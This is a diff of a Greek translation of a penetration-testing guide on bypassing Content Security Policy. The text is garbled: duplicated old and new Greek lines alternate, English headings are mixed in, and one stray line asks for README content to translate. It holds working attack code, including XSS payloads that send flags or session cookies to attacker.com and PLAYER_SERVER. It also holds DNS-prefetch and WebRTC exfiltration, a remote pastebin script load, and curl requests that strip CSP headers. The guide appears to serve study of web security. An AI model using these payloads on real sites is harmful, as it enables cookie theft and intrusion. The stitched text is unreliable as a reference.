Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):
Μπορείτε να παρακάμψετε αυτό το CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται ένα CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει ένα SQLi, και εξάγει το flag μέσω μιας εικόνας):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να **την ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** το **JS** από αυτήν και θα **εκτελέσει** **αυτόν**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε javascript κώδικα που έχει εισαχθεί μέσα σε μια εικόνα**. Για παράδειγμα, αν η σελίδα επιτρέπει τη φόρτωση εικόνων από Twitter, μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν JS κώδικα (σαν κανονικό XSS) που θα **φορτώσει** την **εικόνα**, θα **εξαγάγει** το **JS** από αυτή και θα το **εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Με Service Workers
Η λειτουργία **`importScripts`** των service workers δεν περιορίζεται από το CSP:
Η συνάρτηση `importScripts` των Service workers δεν περιορίζεται από το CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Εισαγωγή Πολιτικής
### Policy Injection
**Έρευνα:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
Έρευνα: [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιαδήποτε από αυτές τις παρακάμψεις:
Εάν μια **παράμετρος** που αποστέλλετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής**, τότε μπορείτε να **τροποποιήσετε** την **πολιτική** με κάποιο τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε** το script 'unsafe-inline' με οποιοδήποτε από αυτά τα bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Γιατί αυτή η οδηγία θα **επικαλύψει τις υπάρχουσες οδηγίες script-src**.\
Μπορείτε να βρείτε ένα παράδειγμα εδώ: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Επειδή αυτή η οδηγία θα **επικαλύψει τα υπάρχοντα script-src directives**.\
Μπορείς να βρεις ένα παράδειγμα εδώ: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP απλά αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
Στο Edge είναι πολύ πιο απλό. Αν μπορείς να προσθέσεις στο CSP απλά αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
Παράδειγμα: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; μέσω XSS (iframe) - Χρονική επίθεση
### img-src \*; μέσω XSS (iframe) - Time attack
Προσέξτε την έλλειψη της οδηγίας `'unsafe-inline'`\
Αυτή τη φορά μπορείτε να κάνετε το θύμα να **φορτώσει** μια σελίδα υπό **τον έλεγχό** σας μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα από όπου θέλετε να εξάγετε πληροφορίες (**CSRF**). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείτε να **ελέγξετε τον χρόνο που χρειάζεται η σελίδα για να φορτώσει**, μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.
Παρατήρησε την έλλειψη της οδηγίας `'unsafe-inline'`\
Αυτή τη φορά μπορείς να κάνεις το θύμα να **φορτώσει** μια σελίδα υπό **τον έλεγχό σου** μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνεις το θύμα να προσπελάσει τη σελίδα από όπου θέλεις να εξάγεις πληροφορίες (**CSRF**). Δεν μπορείς να προσπελάσεις το περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείς να **ελέγξεις τον χρόνο που χρειάζεται η σελίδα για να φορτώσει**, μπορείς να εξάγεις τις πληροφορίες που χρειάζεσαι.
Αυτή τη φορά μια **σημαία** θα εξαχθεί, όποτε μια **χαρακτήρας μαντεύεται σωστά** μέσω SQLi η **απάντηση** χρειάζεται **περισσότερο χρόνο** λόγω της λειτουργίας ύπνου. Έτσι, θα είστε σε θέση να εξάγετε τη σημαία:
Αυτή τη φορά θα εξαχθεί ένα **flag** — κάθε φορά που ένα **char** μανεύεται σωστά μέσω **SQLi**, η **απάντηση** παίρνει **περισσότερο χρόνο** λόγω της συνάρτησης **sleep**. Έτσι θα μπορέσεις να εξάγεις το flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Μέσω Bookmarklets
Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
Αυτή η επίθεση προϋποθέτει κάποια social engineering όπου ο attacker **πείθει τον χρήστη να σύρει και να αφήσει έναν σύνδεσμο πάνω στο bookmarklet του browser**. Το bookmarklet αυτό θα περιέχει **κακόβουλο javascript** code που όταν γίνει drag\&dropped ή κλικ θα εκτελεστεί στο context του τρέχοντος web window, **παρακάμπτοντας την CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### Παράκαμψη CSP με περιορισμό της CSP
Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), η CSP παρακάμπτεται με την έγχυση μέσα σε ένα επιτρεπόμενο iframe μιας πιο περιοριστικής CSP που απαγόρευε το φόρτωμα ενός συγκεκριμένου JS file το οποίο, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε το **abuse a different script to load an arbitrary script**.
Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό:
Μπορείτε να **περιορίσετε την CSP ενός Iframe** με το **`csp`** attribute:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Στο [**αυτό το CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιήθηκε και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **είσοδο** που επιτρέπει το **nonce** τους και **ενεργοποιώντας συγκεκριμένο inline script μέσω sha**:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **πιο περιοριστικό** ένα **CSP**, έτσι ώστε ένα script που απέτρεπε το CSTI να απενεργοποιηθεί και επομένως η **vulnerability became exploitable.**\
Το CSP μπορεί να γίνει πιο περιοριστικό χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **entry** που επιτρέπει το **nonce** τους και **επιτρέποντας συγκεκριμένο inline script μέσω sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -574,49 +575,67 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Αν μπορέσετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχετε εσείς** (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν **τυλίξετε** το **JS περιεχόμενο** που θέλετε να εξάγετε με **`<script>`** και επειδή είναι πολύ πιθανό ότι το `unsafe-inline` δεν επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το `Content-Security-Policy-Report-Only`.
Αν καταφέρεις να κάνεις τον server να απαντήσει με το header **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχεται από εσένα** (ίσως λόγω CRLF), μπορείς να το κάνεις να δείχνει στο server σου και αν **περιβάλεις** το **JS content** που θέλεις να exfiltrate με **`<script>`**, και επειδή είναι πολύ πιθανόν ότι το `unsafe-inline` δεν επιτρέπεται από το CSP, αυτό θα **προκαλέσει σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στο server μέσω του `Content-Security-Policy-Report-Only`.
Για ένα παράδειγμα [**δείτε αυτή την αναφορά CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Διαρροή Πληροφοριών με CSP και Iframe
### Leaking Information with CSP and Iframe
- Ένα `iframe` δημιουργείται που δείχνει σε μια διεύθυνση URL (ας την ονομάσουμε `https://example.redirect.com`) η οποία επιτρέπεται από το CSP.
- Αυτή η διεύθυνση URL ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP.
- Ακούγοντας το γεγονός `securitypolicyviolation`, μπορεί κανείς να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.
- Ένα `iframe` δημιουργείται που δείχνει σε ένα URL (ας το ονομάσουμε `https://example.redirect.com`) το οποίο επιτρέπεται από CSP.
- Αυτό το URL στη συνέχεια ανακατευθύνει σε ένα μυστικό URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από CSP.
- Ακούγοντας το event `securitypolicyviolation`, μπορεί κάποιος να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain του blocked URI, εκθέτοντας το μυστικό domain στο οποίο ανακατεύθηκε το αρχικό URL.
Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.
Είναι ενδιαφέρον ότι browsers όπως οι Chrome και Firefox έχουν διαφορετική συμπεριφορά στην αντιμετώπιση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή έκθεση ευαίσθητων πληροφοριών λόγω μη ορισμένης συμπεριφοράς.
Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο:
Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP για να εξαχθεί το μυστικό subdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP ώστε να συμπεριλαμβάνει συγκεκριμένα domains που αποκλείονται σκόπιμα. Για παράδειγμα, αν το μυστικό subdomain αποτελείται από άγνωστους χαρακτήρες, μπορείς επαναληπτικά να δοκιμάσεις διαφορετικά subdomains τροποποιώντας την οδηγία CSP για να μπλοκάρεις ή να επιτρέψεις αυτά τα subdomains. Εδώ υπάρχει ένα snippet που δείχνει πώς το CSP μπορεί να ρυθμιστεί για να διευκολύνει αυτή τη μέθοδο:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από την CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
Παρακολουθώντας ποιες αιτήσεις αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς της CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.
Και οι δύο μέθοδοι εκμεταλλεύονται τις αποχρώσεις στην υλοποίηση του CSP και τη συμπεριφορά των browsers, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορεί ακούσια να leak ευαίσθητες πληροφορίες.
Trick from [**here**](https://ctftime.org/writeup/29310).
## Unsafe Technologies to Bypass CSP
## Μη ασφαλείς τεχνολογίες για παράκαμψη του CSP
### PHP Errors when too many params
### PHP Σφάλματα όταν υπάρχουν πάρα πολλές παράμετροι
Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό.
Σύμφωνα με την [**τελευταία τεχνική που σχολίαζεται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή υπερβολικών παραμέτρων (1001 GET parameters αν και μπορείτε επίσης να το κάνετε με POST params και με περισσότερα από 20 files). Οποιοδήποτε ορισμένο **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκληθεί.
### PHP response buffer overload
### Υπερφόρτωση buffer απάντησης της PHP
Η PHP είναι γνωστή για **την αποθήκευση της απόκρισης σε 4096** bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απόκριση** θα **σταλεί** **πριν** από την **κεφαλίδα CSP**, προκαλώντας την κεφαλίδα να αγνοηθεί.\
Έτσι, η τεχνική συνίσταται βασικά στο **να γεμίσετε το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί.
Η PHP είναι γνωστή ότι κάνει buffering της απάντησης στα 4096 bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει μια προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απάντηση** θα **σταλεί** **πριν** το **CSP header**, με αποτέλεσμα το header να αγνοηθεί.\
Η τεχνική ουσιαστικά συνίσταται στο **γέμισμα του response buffer με προειδοποιήσεις** ώστε το CSP header να μην σταλεί.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Rewrite Error Page
### Kill CSP via max_input_vars (headers already sent)
Από [**αυτή τη γραφή**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να παρακαμφθεί μια προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επαναγράφοντας το περιεχόμενό της.
Επειδή τα headers πρέπει να σταλούν πριν από οποιαδήποτε έξοδο, οι προειδοποιήσεις που παράγει η PHP μπορούν να ακυρώσουν μετέπειτα κλήσεις `header()`. Αν τα δεδομένα χρήστη υπερβούν το `max_input_vars`, η PHP εκτυπώνει πρώτα μια startup warning· οποιαδήποτε επακόλουθη `header('Content-Security-Policy: ...')` θα αποτύχει με “headers already sent”, απενεργοποιώντας ουσιαστικά το CSP και επιτρέποντας reflective XSS που διαφορετικά θα ήταν μπλοκαρισμένο.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Please paste the README.md content from src/pentesting-web/content-security-policy-csp-bypass/ that you want translated into Greek.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Επανεγραφή Σελίδας Σφάλματος
Από [**this writeup**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να γίνει bypass μιας προστασίας CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επανεγράφοντας το περιεχόμενό της.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) **σε ένα endpoint μιας σελίδας** για να **εκμεταλλευτεί** **άλλα endpoints της ίδιας προέλευσης.** Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα του επιτιθέμενου στο πραγματικό endpoint στην ίδια προέλευση που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **ευάλωτο endpoint** μπορεί να χρησιμοποιήσει το **`opener`** αντικείμενο στο **payload** για να **πρόσβαση στο DOM** του **πραγματικού endpoint προς εκμετάλλευση**. Για περισσότερες πληροφορίες δείτε:
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) **σε ένα endpoint μιας σελίδας** για να **εκμεταλλευτεί** **άλλα endpoints της ίδιας origin.** Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα επιτιθέμενου στο πραγματικό endpoint στην ίδια origin που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **vulnerable endpoint** μπορεί να χρησιμοποιήσει το αντικείμενο **`opener`** στο **payload** για να **έχει πρόσβαση στο DOM** του **real endpoint to abuse**. Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Επιπλέον, το **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **αντανακλά** τα **δεδομένα** που αποστέλλονται στην έξοδο (με τον περιορισμό μόνο σε γράμματα, αριθμούς και τελείες).
Επιπλέον, **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **reflect** τα **data** που στέλνονται στην έξοδο (με τον περιορισμό ότι επιτρέπονται μόνο γράμματα, αριθμοί και τελείες).
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να **δημιουργήσει μια επίθεση SOME** κατά του WordPress και να **ενσωματώσει** το μέσα σε `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` σημειώστε ότι αυτό το **script** θα **φορτωθεί** επειδή είναι **επιτρεπτό από 'self'**. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την **επίθεση SOME** μέσω του **ευάλωτου** **callback** endpoint που **παρακάμπτει το CSP** για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει ένα νέο plugin...\
Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση δείτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να **generate a SOME attack** εναντίον του WordPress και να **embed** αυτό μέσα στο `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` σημειώστε ότι αυτό το **script** θα είναι **loaded** επειδή επιτρέπεται από **'self'**. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί τη **SOME attack** μέσω του **vulnerable** **callback** endpoint που **bypasses the CSP** για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει νέο plugin...\
Για περισσότερες πληροφορίες σχετικά με το πώς να πραγματοποιήσετε αυτή την επίθεση δείτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Αν υπάρχει ένα αυστηρό CSP που δεν σας επιτρέπει να **αλληλεπιδράσετε με εξωτερικούς διακομιστές**, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να εξάγετε τις πληροφορίες.
Αν υπάρχει αυστηρό CSP που δεν σας επιτρέπει να **interact with external servers**, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να exfiltrate the information.
### Location
Μπορείτε απλά να ενημερώσετε την τοποθεσία για να στείλετε στον διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:
Μπορείτε απλά να αλλάξετε το location για να στείλετε στον server του επιτιθέμενου τις μυστικές πληροφορίες:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτό είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)
Μπορείτε να ανακατευθύνετε με την εισαγωγή ενός meta tag (πρόκειται απλώς για ανακατεύθυνση, αυτό δεν θα leak περιεχόμενο)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Για να φορτώσουν τις σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.\
Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: `<link rel="dns-prefetch" href="something.com">`
Για να φορτώνουν οι σελίδες πιο γρήγορα, οι browsers προεπιλύουν hostnames σε IP addresses και τα αποθηκεύουν στην cache για μετέπειτα χρήση.\
Μπορείτε να υποδείξετε σε έναν browser να προ-επιλύσει ένα hostname με: `<link rel="dns-prefetch" href="something.com">`
Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων**:
Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξαγάγετε ευαίσθητες πληροφορίες μέσω DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -675,16 +694,16 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Για να αποφευχθεί αυτό, ο διακομιστής μπορεί να στείλει την κεφαλίδα HTTP:
Για να αποφευχθεί αυτό, ο server μπορεί να στείλει το HTTP header:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Προφανώς, αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
> Φαίνεται ότι αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
### WebRTC
Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src`** του CSP.
Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src` του CSP**.
Στην πραγματικότητα μπορείτε να _leak_ πληροφορίες χρησιμοποιώντας ένα _DNS request_. Δείτε αυτόν τον κώδικα:
```javascript
@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Η αναδυόμενη ειδοποίηση διαπιστευτηρίων στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.
Το αναδυόμενο παράθυρο διαπιστευτηρίων στέλνει ένα DNS αίτημα προς το iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
